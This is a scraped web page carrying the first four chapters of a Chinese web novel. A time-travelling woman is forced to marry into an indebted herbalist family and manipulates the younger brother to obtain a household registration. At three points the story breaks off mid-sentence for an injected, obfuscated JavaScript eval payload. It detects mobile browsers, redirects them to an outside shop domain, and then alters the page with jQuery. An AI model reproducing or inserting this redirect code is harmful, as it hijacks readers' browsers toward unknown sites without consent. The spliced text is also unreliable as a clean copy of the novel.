《同那位仙君实则孽缘》 1. 李家 城北李家药屋那户,前脚才给他爹哭完头七,后脚就急着新媳妇抬进门了。 如果是热孝百天,一切从简,女方急着嫁过去,倒说得过去,可换个说法。 说之前老李头未过门定了娃娃亲的儿媳跑了,跟人私奔去了,把老李头气得归西了,新媳妇又来路不明,这下邻里头嘴皮子不得来磨几句? 李家老婆子瘦削矮小,本以为穿着土色粗布衣出去买菜能安生点,反而引得街市小贩嗓门子扯更大了,嗤笑连连。 她憋红了脸,抓了一两把素菜,就快些回药屋了。 大儿子李善采药去了,二儿子李延敲着算盘,她未来的儿媳妇正按方子抓着药。 懒散地抓了一勺,悠哉悠哉,两耳不闻窗外事的样子可让王氏气着了,自己在外面听了这么多风雨,转眼儿媳挑着最轻的做。 药屋不大,窄小不如堂,生意不咸不淡,这会儿零散两个客人在,她也不好发脾气坏了名声。 她清了清嗓子,说:“我买菜回来了,杨娘你快去做晚饭吧,这里有我。” 杨千里抓药被打断,挑秤的动作没停,说:“王姨,你叫李延去煮吧,我还在找药呢。” 李延闻言也站了起来,看脉写方子也差不多了,可王氏就是死死地把他按着,挤眉弄眼誓要训训她锐气,说:“你可是要当新妇的,怎么能不去做饭呢?你相公晚上也要回来。” “可婆婆,你在这儿又能帮什么呢?你都不认字,别到时候耽搁了人家拿药。” 杨千里语气尖酸,毫不给情面,往糙了说就是没教养,病号几个听了难掩笑,对李家短事喜闻乐见,刺得王氏咬牙切齿。 李延这会儿也站起来,拍了拍他娘的肩膀,哄着说:“好了娘,你就别跟嫂嫂争了,我去又不会少根骨头。” 李延约莫十七岁,站起来比他娘高两个头,身形瘦削,目如点漆,骨相清和,稚气未脱的样子也能看出几分俊美。 相比李家三口的瘦削,这位新妇看着就丰腴得多,朱唇皓齿,杏眼露露,不是什么美人,但生得一脸福相,她两只眉梢又翘上去,不甚好惹。 四口死一口,如今再加一口,又是四口。 都是一家人,互相怨毒是一回事,过日子又是一回事。 新妇虽然不是个适合过日子的贤妻,但她会认字,会打算盘,李家买了棺材后钱又缺得很,王氏也就咬咬牙认下来。 晚上,一家人围在后院里,盯着那几盘菜,顶梁柱男人回来前,以前是她老头子,现在是他大儿子,谁都不能动筷子,这是规矩。 王氏整了整袖口,又问起二儿子李延功课读得怎么样了,不一会儿的功夫,儿媳妇杨千里撒丫子一坐,就在她眼皮子底下夹菜了。 她怒瞪过去,新妇还是埋头吃着,还越夹越快,她忙地想上去打掉她筷子,结果被李延拉着,看她宝贝二儿子帮衬外人说着:“娘,嫂嫂只是太饿了。” “太饿了就能没规矩?!……” 王氏话没说完,院门就被大力推开,李善急匆匆地上前,把一张纸拍在桌上,振得菜盘子响:“娘,你到底瞒了我们多少?爹拿药屋去抵债的事,为什么不告诉我们?” 白纸红字是催债人写的,说是再不还完父债,就把药屋地契没收了,还有半年,这次只是警告。 王氏还是第一次见她本性纯良的大儿这么凶悍的样,一行泪直直落了出来,李延心疼地安慰:“娘啊,他已经死了,你还有什么好帮他瞒的?就快些说出来吧,不然我们不清不楚地背债也是麻烦。” “我这不是想着他就算欠了债,也还是你们的爹吗?想着等李善婚完,他在天之灵安了再告诉你们。” “你爹,除了平日里欠的,他是拿药屋去赌了,我当时晓得的时候,也骂过他糊涂,不过他不是死了吗?” 李氏两兄弟听完自家老母的描述,是火冒三丈,李善刚成年那会儿是有提防着他爹继续赌的,好了才没几年,又欠上这么一屁股债,李家丑名远扬,原本远房订娃娃亲的也跟着别人跑了。 他这二十有五的好年纪,端正的长相、气质堂堂硬是因为着一屁股债,连媒婆都不想上门。 这边他娘也瞒着他们,帮他爹把苦心经营这么多年的药屋,说抵就抵。 兄弟俩骂也骂不得,毕竟是亲娘,这时一家三口都焦烦着,入目一只偏圆润的手,拿筷子扫起半盘子的茼蒿叶,跳过根,装在了自己的碗里,大口扒拉饭。 王氏只是瞪着,等李善发话。 好在好赌的爹已经死了,李延只觉得这新嫂嫂可有趣了,很不合时宜。 李善没说什么,也来开凳子,坐下来跟着吃起来。 ** 茼蒿嚼巴嚼巴,说不上好吃,有中药的气味,但杨千里连着好几日吃了一样的素菜,没沾腥荤,这盘菜新出的时令,也就赶新鲜多吃了点。 她之所以表现得镇定,是因为,这家的鸡毛掸子的事飞满天,都管她屁事。 她是个穿越的,就这前两周,这家人门口,身穿,从天而降,但是砸死个人。 没错,就是这户的便宜爹。 要是寻常人家,早就送杨千里蹲大牢,索要赔偿,再一命换一命了。 但这家人不寻常,家里欠了一屁股外债,正是成家立业之时的哥哥刚被抛弃,顺便戴了绿帽,弟弟又要读书,就逮着给家里能添人丁就添的打算,他们要挟起了她。 那日跟着李家三口守完丧事,杨千里跪在后面,麻巾都还没摘掉,王氏就干涸着一双眼地转过头来,忍着对害死丈夫的凶手的恨意,道:“你必须给我的儿子作媳妇,不作那就官府见。” 杨千里站起身来,她是身穿,穿越前的短袖牛仔裤都还在,来了这边就没户籍,如果李家真要报官,别说痛痛快快地死了,一个黑户直接贬为奴籍。 在古代,奴隶可不是人,是随意打杀的牲口,她不想死也不想受辱,试问哪个现代人能受得了呢? 杨千里无望地看着王氏背后,默许、受益着这一切的两兄弟,说:“好,那我要和李延结婚。” 她按着自己审美,挑了个嫩且好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846943|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的,不是说李善长得普通,是他眉眼没什么锐利,一身正气,符合老一辈的审美。 可她是年轻一辈的,比起俊朗轩昂、呆板可靠的类型,她更喜欢言笑时眉眼弯弯,话锋机敏有趣的老二,守孝的这七天,也是和老二更加熟稔。 灵堂不算暗,能透着晨光看清李延此时脸上的意外,李善的无动于衷。 可王氏怎么会如了她的意,二儿子是她含辛茹苦养来读书考取功名的,他聪明伶俐、未来可期,自己能不知道? 二儿媳标准自然是按着官家小姐找,怎么可能轮到这口出狂言的女人。 王氏:“想都不要想,我家李延后面考上举人了,轮不上你。” 她不甚情愿,可就得给那李善作新妇。 李家三口知道她是黑户,也不打算帮她,免得煮熟的鸭子飞了,这样杨千里就只能老老实实的。 饭桌上,王氏又说:“李善,再过几天你就和杨娘把堂拜了吧,就穿平时的衣裳,越快越好。” 李善只是盯上杨千里一眼,就收回了眼点头。杨千里倒是拍筷子,道:“不行,给我添置些新衣裳,当婚服。” 明明王氏没叫她,她却偏偏插话闹腾,她现在身上穿的浮肿麻衣是李延穿不下的,很丑,她扯了扯领口,说:“不做张扬怎么能是这个道理?我可是当新娘子啊。” 王氏气着了,她想着家里债都没有还完,哪来那些钱,“你本来就是亏欠我家,还害死我男人,他们的爹,没找你算账就不错了,你还挑上了?” 杨千里有一瞬堵塞,可能自己确实理亏,但她没把自己当外人,这会儿轻轻扯着李善袖子,说:“李善,我都要嫁给你了,难道一件新衣裳都不能有?万一外人笑话上李家怎么办?” 杨千里虽然和李延关系更好,但按着婆媳定律,应该得她儿,当家做主的那个说法。 李善被说得动容,千里嫁到李家就是一家人了,他的妻子,一起风餐雨露的伙伴,不仅识字药堂的事也上手快,不像他那个嗜赌如命、游手好闲的爹,她只是好面子想要个衣裳,为什么不行呢? 他同意了下来。 李延只是眯眼笑着,他哥纯良的秉性怎么不会同意嫂子的要求? 李家热孝成婚,不放鞭炮,不设宴席,看着孝顺体面,外人眼里就清了样,挂歇业的药屋门口。 李延前面,走着的书生们看着歇业牌匾就走不动道,一个劲交头接耳地说起:“李家新媳妇真惨啊,说是想热孝结婚,谁不知道李家欠债不还,估计这会儿是借着孝义,省了办酒席的钱呢,一桌有没有啊?有的话我真想瞅瞅热闹。” “可不,这会儿有火坑还往李家跳,不是那妇人脑子有问题,就是山里面捡的妖怪。” “还真说不定是妖怪,之前启林城那边不就传了好多吸阳夺命的案子吗?” 李延不敢久留,读书人玄乎其玄的话,都飘到了小贩耳朵里,估计明日又传李家娶妖怪的流言,希望别让他娘知道。 “等等李延,原来你在啊?”身后人拍拍他的肩膀。 2. 成亲 他拧着眉转过去,以为是那些看笑话的,没想到是他嫂子,又松了表情。 “嫂嫂,你怎么在这里?你不是……”在和我哥成婚吗? 杨千里扯嘴笑着,说:“你娘让我来找你的,她说你不在不行,小叔子必须在场。” 李延拗不过他娘,只能了然:“我知道了,嫂嫂,这就跟你回去。” 杨千里穿了件素蓝的新衣裳,婚礼从简不穿大红,估计这就是婚服,白皙的脖颈露出,脸颊上难得施着粉黛,笑如春花,人在古代堆里算得高挑,和李延俊男靓女站街边,引得路人连连驻步回头。 李延先是觉乎疑惑,反应过来嫂嫂是出嫁的模样,还跑出来专门寻他,不免脸红到脖子根,不敢多看她,道:“嫂嫂,当真是娘让你来寻我?” “对啊,你娘什么脾气,你还不知道吗?” “也是。”才想这么一会儿,他的同窗们就把眼睛放到了这边,毫不遮掩地说:“快看啊,李延旁边有个女人,还挺好看,这会儿还有姑娘看得上李延?穷得叮当响了,靠他皮囊?” “啊?奇了奇了。” “看着比李延大些,莫不是他那个妖怪嫂子?听说挺泼辣的。” 几人刻意讨论,传到两人耳朵里,李延带着嫂子走快了些,读书人好名节,他面色铁青。 杨千里疑惑:“走这么快干嘛?” 他嫂嫂总是一副悠闲的样子,少年忍不住抱怨:“嫂嫂,他们刚才那么取笑你和我,你不气吗?” 杨千里说:“不气啊,旁人言语于我如浮云。李延,他们再是怎么说,日子都是我们的。虽然这么说很冒犯,但你那个好赌的爹已经不在了,好日子会来的。” 他嫂嫂说话直白,但话糙理不糙,他确实没娘和哥哥那么喜欢他的爹,爹在死前就让一家人外人面前抬不起头,那日听杨千里把他爹给砸死了,甚至诡异的畅快。 杨千里扯着他的袖子,说:“李延,我嫁人之后,就是你哥哥的妻子了,但我还是拿你当知己,书上面有什么好玩的故事随时可拿给我解趣。” 他嫂嫂不但识字,也比大哥跳脱,家里面也确实没以往阴沉,她拉着李延袖子随意地晃了晃,又快速撒开手,垂得女子香缭绕鼻梁,心也痒痒。 他微微颔首,“嫂嫂来找李延自然是好,不过还是多体贴大哥吧。” ** 午间,王氏见着杨千里和李延回来,没说什么,只是拿着唯一的绣鸳鸯的红绢布盖在新妇头上。 绢布不大,但被杨千里竖高的发髻撑起,剩她朱唇外露,这红盖头是王氏藏起来的嫁妆,也求不得什么精致的细节,能用则用了。 外边的闲话也没错,这场婚事就李家四口演给自己看,没花轿,没宴席,甚至没有鸡犬相闹。 杨千里只是被小叔扶着,跨过正门口火盆,走到正堂前面,就可以开始三拜九叩了。 她平日里天不怕地不怕的,那是因为她够摆烂,可真念及自己在古代,还没谈过恋爱,就稀里糊涂成婚、嫁为人妇了,这个概念就难受。 她细想只觉得冲击,连带着搀扶她的李延的手都被她愤愤地掐了把,有盖头看不清他的脸,只听一声委屈:“嫂嫂?” 她没做搭理,毕竟自己为了勾搭这个小叔子可是使劲了浑身解数,结果对面不接招,不免被气到。 李家不给她办户籍,她就一辈子是藏匿的黑户,她敢乱跑,乱世女子就算李家治不了她,有的是人欺压。 所以她勾搭李延,想他才十七,少年心性,让他就算不爱上自己,也偏袒地找人给她办户籍,自己到时候天涯路远,不管跑路到秦淮还是湘潭,又是一条温文淑女。 新人被牵到了一起,李善是和她一样的素净蓝袍,王氏抱着李父的牌匾坐于高堂,难得扯了个笑,说吉祥话:“现在你们成亲了,我儿李善你就专心经营药屋,家里万事有我管着。” 新婚上,她对杨千里的话很是委婉,不想让她闹起来的样子,说:“杨娘,你今后记得安分守己,好好帮衬你相公,有的话我不想多说,一生皆由命,你一个黑户能嫁给我儿,已是抬举。” 杨千里从来没处理过婆媳关系,这话除了不舒服,也只能忍着。 她靠着盖头下的视线,从自己的布鞋上移到了另一只,她的右边,她知道是李延,动作细微,盖头都没怎么晃。 那厢李延就急着说起拜堂的说词,“恭喜新人,登堂行礼。” “一拜天地。一叩首,谢天赐良缘,风调雨顺。” …… “二拜高堂。” …… “夫妻对拜。一拜,琴瑟和鸣,相敬如宾。二拜……” 李善从始至终都是顺从,父母之言,媒妁之命,在他眼里很重要,如果不是杨千里砸死了父亲,他觉得替父还债天经地义,那是孝。 父亲死了,他当时也是气愤的,可没有了打骂和赌债,竟又松了一口气,见着千里活泼能干,久而久之也就接受了这个新妇。 对拜叩首时,也就用力比这个妻子低了些,望举案齐眉。 新人双双对对,无宾客盈门,就早早送入洞房,李善手执喜秤着实是犹豫,早年间有跟过私塾,自然是知道些莺燕内容,只是口干舌燥不敢动。 木木地站在那儿,盯着自己新娘子。 杨千里就没那么纯情了,晃着腿,盖头捂得她怪闷实,从开门到扶她上床榻这么久都没动静,也不知道李善死哪儿去了。 她肚子从早空到现在,也是不耐烦,干脆一把扯下来,好巧不巧,撞着了李善低头挑盖头的动作,那喜秤没揭到,甚是空落落。 杨千里尴尬地冲他笑笑:“我还以为你别处去了。” “怎么会?今日新婚就你我二人。” “这样啊。”她挠挠脸边,又瞧着桌上难得摆了碗鸡丝肉面,估计是王氏给她好儿子吃的,说,“我饿了其实。” 李善顺着她的视线端了过来,说:“那就先吃吧。” “新婚的流程不弄了吗?比如那个喝交杯酒。”杨千里自然而然地接过,还是询问了句。 李善比她想的讲道理,说:“已经布置成这样了,委屈你嫁过来,面子上的东西就不要了。” 杨千里埋头嗦面,老太婆对她儿子就是好啊,这鸡肉虽然是没肉的老呆鸡,但里面焦香的汁油,杨千里肯定这肉块进锅炸过,是饭馆子的手艺。 她急着扒拉几口,以前是不喜欢吃碱水面的,这些天噎那么多咸菜疙瘩汤,让她如临珍馐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846944|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 “慢些吃。”李善从旁边给她接水喝,很是体贴丈夫的样子。 杨千里放下面碗,试探着问:“我作为你的妻子,但没登记在案,未免有些名不正言不顺的。你知道我识字,以前读过些书,倒也有了几分情爱的追求。” 她还是没忘骗户籍。 李善只是微笑着,拿水的碗放在一旁,说:“你既然是我的妻子,又何必要什么登记,跟着我经营我父亲的药屋就好。” 他不肯松口,说得委婉,但也考虑得很细,杨千里拿了户籍随时都会跑,因为他们家欠了一屁股债是不争的事实,没有什么姑娘家会嫁进来。 李善想得简单,她都砸死公公了,没要她性命,让她留李家干活很正常,这也是让她还债。 杨千里知道是这个回答,慢悠悠地卸下婚衣和发髻,说:“那好,不过我不想要孩子。” “不行。”李善一口拒绝,他是个纯粹的古代人,传宗接代的思维已经根深蒂固。 杨千里拆发髻的瞬间偷偷翻了个白眼,又换了个说法,莞尔地说:“相公,我不是那意思,我是说啊,李家现在背着债务,要是急着要孩子,恐怕是养不了,你也不想这孩子一出生就饭食不饱,衣穿不暖吧。” “你是说再过几年?” “对。”再过几年,可能杨千里就跑天涯海角了,“到时候,估计我们还上债务,小叔也考取功名了,留给孩子们一片清净。” 她画饼时笑得灿烂,漂亮话在李善心底打转。 杨千里让李善分床睡,这样提也不是随性,一是她不喜欢李善,二是她在现代是坚定的不婚不育者,就算被逼得成婚了,也不喜欢小孩,怀孕伤身。好在李善同意了下来。 ** 洞房一片祥和,大门外边可就闹腾了,三个游手好闲的男人凑在院子外,透过门缝往李家内部瞧,嘴上磨着:“这婚办的都没什么动静,一副见不得人的样子,莫不是新娘子很丑?” “不丑不丑,今儿我和张兄在东街见过呢,和李延一块。”略胖那个读书人挥着扇子把子,说。 “爹死了,新娘子来,多少有点晦气咯,你们说啊,不会就是什么山里的精怪化形来的吧?” 王氏清扫着院子,听着这么一番话,立马甩了扫帚,到旁边竖起耳朵听了,她听到新妇被传是妖怪时,手颤了颤。 毕竟杨千里真就是从天而降,还穿着怪衣服,偏就是砸死了她丈夫的凶手。 “哎,他爹欠多少钱你还不知道吗,王兄?我瞧啊,有这么个好赌的爹死了,新娘子就算是妖精也是来报恩的。” “我看李家的债是还不完了,再说那两个儿子,爹都嗜赌如命,你觉得他们又能是什么好货呢?” 三个人越说越起哄,想靠近门些,看看李家什么名堂,但一双恶煞煞的眼撞出门缝,吓几个还想偷窥的人直哆嗦,他们纷纷打颤,姓王的书生扇子还掉了。 王氏没出来,只是警告着:“都给我滚,就算读了书,你们家里的教养都烂肚子了吗?没人教?!” 三人退去,临了都直言晦气,但走远些又嬉笑着聊上了。 王氏抓门闩的手愈发用力,她开始思考,当场让杨千里做李善妻子是否是个正确的决定。 3. 断字 日子没怎么好起来,李家药屋的供货头子抬价了,谈也不得,又找不到下一家,只能拿着才赚的钱贴进去。 杨千里把抽屉上的药记个七七八八,生意上就多了个人手,李延只上晚间私塾,李善也能放心上山采补贴家用。 这天药屋清闲,李延就坐在柜前背书:“巧言令色,鲜矣仁!” 摇头晃脑,朗朗上口,逗得擦柜子的杨千里一哂。 李延听了,就不好意思地放下书来,问:“嫂嫂是觉得我很好笑吗?可是私塾的先生是这么教的。” 听他连连背上了好些句,杨千里上前,问:“你这算不算死记硬背啊?万一人家秀才考的是理解呢?” 李延本就是闭门造车,问:“那嫂嫂有什么指教?” 杨千里放下丝瓜干瓤子,上前来,说:“《论语》能收录上的比别的书精简,看似好背,也容易记混。我看的话,不建议死记,语言精简但都是些大道理,虽然没了解过童试,但考试一般都会写文章,你要不挑着喜欢的理解,再记下来?” 杨千里没耐心,把科考当高考来理解,故作深沉,实际上她记性差,当年那六分全是鸭蛋,全靠别的拉分。 “不行嫂嫂,先生说了四书五经为纲要。”李延多是不信,任杨千里会识文断字,这说法在他眼里都太不靠谱了。 “哎,你这个人某些地方怪刻板的,考试本来只讲究通过的技巧,除非是文曲星下凡。” 杨千里刚想跟他争辩一下,精自己所精的道理,药屋门口就鬼哭狼嚎的。 衣衫褴褛的乞丐,哭得撕心裂肺,跪在李氏药铺门前,嘴里念叨着救苦救难观世音菩萨,再双手合十磕了个头,说:“我丈夫已经发烧两天了,求求您了,李大夫,给点药吧。” 乞丐从头到脚都脏乱,本就是别处跑过来的流民,到处逮着了人名就碰个运气,之前被那些店老板拳打脚踢赶了,名声可一点都不好听。 周围街坊又开始看热闹了,毕竟她现在求的这户,还欠着巨债,又能看到一顿臭骂了。 李延最先走了出去,他眉头紧抿,说到底是个读书人,于心不忍地将她扶起来,说:“你快些起来,这位娘子,我们李家可担待不起。” 那乞丐鼻涕眼泪又流了出来,骨瘦如柴地站起,看着虽然摔倒的样,说:“大夫,求您救救我家男人吧,我有方子的,求您抓点药就行。” 李延很是作难,他虽然心善,但知道自己家情况,本就食不果腹,那些药又不便宜,大哥爬山采药又那么危险,他不知所措,睁大眼移向了他嫂嫂。 这么好戏,一街的人又看了笑话:“李家自己都欠了一屁股债了,怎么可能给啊?” “李延不愧是读过书的,还是会说漂亮话。” 乞丐身无分文,想来求药,是为更弱者。 这种问题也考到杨千里了,如果说寻常时候,她就让对面走了,自己一穷二白的逞什么,只能祝福这乞丐再寻个善心富人。 但今天李延在,而她本就是蓄意接近,给自己打造一个知心嫂子的形象,假设拒绝了,读书人恐怕会觉得她薄情寡义,和他哥哥母亲一样无趣。 假设接受了,日后药铺门前就会有更多的乞丐。 周围很多双眼睛,她施施然走下去,硬着头皮问乞丐:“这位娘子,我们知道你有难处,但这个世道谁又容易呢?” “求你们了。”乞丐泪又落了出来。 “娘子,你是本地人吗?来打个欠条成不?药先用着,以后再还。” 乞丐攥着衣袖道:“可我没钱啊。” “以后再还。”这句话杨千里说得很小,背对着人群,那些人看不到情绪,她扯了扯乞丐的衣袖。 乞丐也立马明白过来,点头:“好,后面还上。” 杨千里拿着方子去抓药,让李延去打了个欠条,这事就算是这么解决了,除了乞丐夸过李家的仁善,看热闹的都觉得差了点意思。 “打肿脸充胖子吧。” “是借不是送,好小气啊李家。” 李延提着笔,脸上还是刚才的恐慌,问:“嫂嫂,你把药这么借给那个乞丐,不怕她不还账吗?” “怕啊,但是看到那种情况,能帮则帮吧。”杨千里把自己说得堂而皇之,又说,“而且我看你刚刚也很想帮她。” “嫂嫂,虽然书上说要行君子之道,但我们家好穷,我好怕,‘士志于道,而耻恶衣恶食者,未足而议者’,我就是做不到书上那样。”李延说到底才十七,从小受着书上熏陶,受不了那些市侩的作为,但他也不得不承认自己就是在这么个街市长大的。 他越说越迷茫,这就是杨千里要的效果,她不要李延变聪明变狡猾,她要的就是李延蠢善,这样他才有良知,给他嫂嫂办户籍,她宽慰着:“李延,万事有嫂嫂不是吗?想良善君子无错。” 她一边说,一边翻着他那本有些发旧的论语,找到一条指了指,引用道:‘成事不说,遂事不谏,既往不咎。’等你考上功名了,哪里都会是一样的君子,我也在这里。” 王氏这时撩开帘子走进来,外面动静太大,吵着她的午休了,看着儿媳和小儿子靠那么近,她瞪了过去,说:“青天白日的,不要引外人笑话。” 杨千里轻飘飘地站远了些,说:“好。” “好什么好?药屋要是没事干,就去把饭烧了。” 杨千里忍着没翻白眼,盘了盘兜里藏的铜板,就往帘子后走了。 “嫂嫂。”李延抬头望着杨千里,痴痴地瞧着背影,对比自家母亲或往来妇人,他的嫂嫂举动真是书中才有的高洁。 这事她们谁都没告诉王氏。 ** 李善采药忙到晚上才回来,白天就剩着杨千里和李延两个人,杨千里就靠近他,给他讲些有趣的典故,就这样躲着王氏相安了两周。 李延本就才十七,正值青春期,逆反的情绪容易在彼此的靠近中变得朦胧,让他曲解含义,他的嫂子那么单纯,他的哥哥那么好。 他瞧着嫂嫂,水杏般露露的眼眸,朱红的唇瓣启合,那些情爱之事在他心底燃起火星,他想着应是求知若渴,犯了孟浪。 那不是对他嫂嫂,更不是想背叛他哥哥,开解道是这个年龄段控制不住情欲,想那桑间之约。 他躲到了房间里读起了借的《西厢记》,对着台词咿咿呀呀唱了好些句。 他眼里是些情爱,别人眼里就是淫词艳曲咯。 正是高潮时,外面突然砰砰砰地砸了起来,他惊恐地收了声,开门一看,是他那颧骨高凸的母亲,她黑压压的眼瞪着他,一副恨铁不成钢的样子,“我们花钱供你读书,就是让你读这些的?!你良心吃狗肚子了吗,李延?对得起你九泉之下的爹吗?” 母亲总是这样逼他,逼得他觉得窘迫,尤其是嫂嫂从旁经过,没细瞧他一眼时,无地自容,那书像是火灼手。 王氏就是要摆在明面上说,他才能长记性,她这样只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846945|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是为了他好,让他多读好书。 王氏气消,就拿着锄头,唉声叹气:“你哥哥天天供你,我还要去种菜,你好自为之。” 李延想着其母说的也是,手上的书瞬间掉下了地,结果被冒进来的人捡起。 她的嫂嫂,满脸笑意地吹了吹书皮上的灰,说:“书都掉了啊,李延。” “原来看的《西厢记》啊。”她把书放了回去。 “嫂嫂看过?”李延有些惊讶,但更多是盯着他嫂嫂那双手。 “没看过,听过。确实是你这种细书生爱听的故事。” 杨千里调笑地看他,他就偏过头,又想起了刚刚自己丢人样:“嫂嫂莫要取笑我。” 杨千里搭上了他的胳膊,拍拍他的肩膀,把他扶坐了下去,说:“你很怕嫂嫂吗?嫂嫂又不会取笑你,嫂嫂反而觉得你看这些,可太正常了。” 那股女儿香随着杨千里的袖子飘晃,他说:“嫂嫂,我还有事……” 李延被杨千里按在椅子上,着急忙慌想站起来,指节却在碰到嫂嫂小臂皮肉的一瞬,缩了回去,他这下急不得、也发蔫。 杨千里自然地撑着他膀子,右手挑起书页,温声细语:“是你李延的话,看就看了,又不会荒废功课,有何不可?人总有顽皮的时候。” “嫂嫂,当真这样以为?”李延由刚刚的不敢乱动,到这会儿已经自然。 “嫂嫂我啊,又不是旁人,和你也没差几岁,为何不懂你的心思?” 杨千里低头瞧着他乖顺的俊脸,扯了扯他弹润的脸颊肉,打趣道:“平日里你和我讨论不是挺机灵?这会儿怎么顽固得像你哥一样了。” 看着他半阖眼眸、心神松快的样子,杨千里想着接触也不能过度,舒展地笑:“我就不久留了,怕被婆婆瞧着了。” 说完就抽回袖子离去,只留李延对着女儿香予胡思乱想,不管想谁是崔莺莺,谁是张生,都和她没关系了,贴心嫂子的义务已经做尽。 ** 又过些时日,李家新妇年轻能干,也就引得街坊讨论,“这么能干,还偏就嫁给李家,莫不是什么仙子下凡体验百态的?” 王氏低着头一旁选菜,不免窃喜,药屋的生意确实蒸蒸日上多了。 “哪来什么仙子。之前启林城不是冒出来个神仙般的画师娘子吗?多少男人前仆后继,结果死在了床榻上。” “诶,我听过这个案子,那画师是狐狸精吧,能蛊惑人?” 张姓的书生凑过来,道:“说不定咱们这位李家小娘子也是,我先前还瞧着了,她和李延在桥上面相会呐,李郎私下可不是私塾里那正经的样。” 王氏先是气愤,揣着菜,再偷瞄着那张姓书生的脸,有些了然,和自家儿子一个私塾的,估计是看不得好,乱嚼舌根的畜生。 张海哂笑着摇摇扇子,当然是早就瞧着王氏了,李延一表人才,谦和有礼,明明家底欠债的糗事没过多久,又有一堆人围上去了,而那堆人就有平时跟着他的。 这番有效的话,他今早就同围着李延的人讲过了,这会儿讲给他母亲听,倒是要看看他还怎么抢风头。 王氏又揣了揣菜,心那一块很慌。 她担心地不无道理,李延今天很早就下了私塾,把自己关在了房间里。 杨千里在外面敲门,想着自己这些时日以来接近李延,应该和李延打好了关系,可以旁敲侧击他一下户籍的事。 但李延在房内始终没有回应。 4. 交心 半年内还上债务,算起来已经跟这一家子耗上两月了,她有瞧过账簿,是赚了些,但比起抵押整个药屋的债务,恐怕远远不够。 杨千里可不想一辈子就窝着,帮一大家子还债,她现在身上的肉都掉了,以后不得皮包骨? 李延不理,她也不依,敲着门问:“李延,闷着干嘛呢?快开门啊,是嫂嫂。” 她明晃晃地敲,其实是慌的,这段时间王氏随时都可能回来,被撞到了免不得一顿打骂。 但风险高,收益也高,她不清楚李延磨磨蹭蹭个什么。 李延良久说道:“嫂嫂,你走吧,我在念书而已,想些事。” “念书吗?以往不是叫嫂嫂一起看的吗?是有什么心事吗?要不要同嫂嫂讲讲?” 门被拉开,李延一张颓疲白净的脸露出来,他没打算松手,任谁看了都觉得他状态不对,“嫂嫂,这事我没法同你说。” 杨千里疑惑:“哪种没法啊?家里还是家外?” 要说在现代,杨千里被人拒绝上一回就走了,可这是少男李延,自己不来干涉他,他娘也会来,可别给她通往自由的钥匙教坏了。 李延拗不过嫂子,只能放下手来,门终于开到能见他肩膀,少年腰身瘦削,肩膀倒是挺而结实,能瞧出日后玉树临风的样子。 房间被李延搞得有些昏暗,他扯开凳子,就不振地坐了上去,道:“嫂嫂这下进来了,确认我无事,可放心地走了?” 杨千里把油灯端放了过来,说:“我可没那么说,你以往见着我最爱笑了,今天可没笑啊,要不我给你讲个寓言故事?” 不是询问户籍的好时机,但她这个故事也准备了好久,见李延没反驳,就借着机会说了出来。 “你知道伤仲永的故事吗?” 李延摇头。 杨千里有模有样地说:“方仲永是个神童,五岁就提笔作诗,不过和别的大诗人不同。” 油灯的亮很昏,照着李延凝重的神情,他的影子不动,嫂子的就像一条灵活的蛇。 张海在私塾里传他不知廉耻,勾搭他嫂子,他不知何处反驳,有些念头却也属实,回来了又不知听谁讲心事,只能闷闷不乐。 “他父亲瞧见仲永有才,就拉着他走亲访友,到处炫耀赚钱。不让他读书,人到壮年就泯然众人矣。” 杨千里说得口干舌燥,会想自己是不是过于激进了。 这方仲永有些地方就是和李延很像,如果他父亲没死,继续好赌李延可就没钱读书,走他哥老路了;不过现在死了,欠着这么多债,李延后面还能读书吗? 杨千里要的不是这个,是暗示李延她好,问:“李延,你怎么不说话?只是个故事,现在你能跟我交换你今天的事吗?” 李延听着伤仲永,又怎么不知那仲永就是自己,他问:“嫂嫂,你当真要听?” “同我说吧,李延。”嫂嫂的手搭在了他的肩上,一直飘忽的影子也定了型,就在他身后,那么可靠,“你看着好痛苦,要不要靠嫂嫂一会儿?” 此话一出,李延最后一根弦就被绷断了,他抓着杨千里搭上来的手,脸颊贴了上去,见嫂嫂非但没拒绝,还拍起他的背,他更是急促埋进她的怀里,一阵呜咽让泪浸湿衣裳。 “嫂嫂,我不要当方仲永。我怕。我怕哥哥阿娘不让我读书,我不要当方仲永。会被张海他们笑话的。” 李延明明比她高那么多,这下颤抖在怀难自理,杨千里抚摸着他半披的束发,倒有几分怜惜,说:“嫂嫂站在你这边,只要你和嫂嫂一起,这些都不会发生的,李延就该读书啊,你那么聪明。” 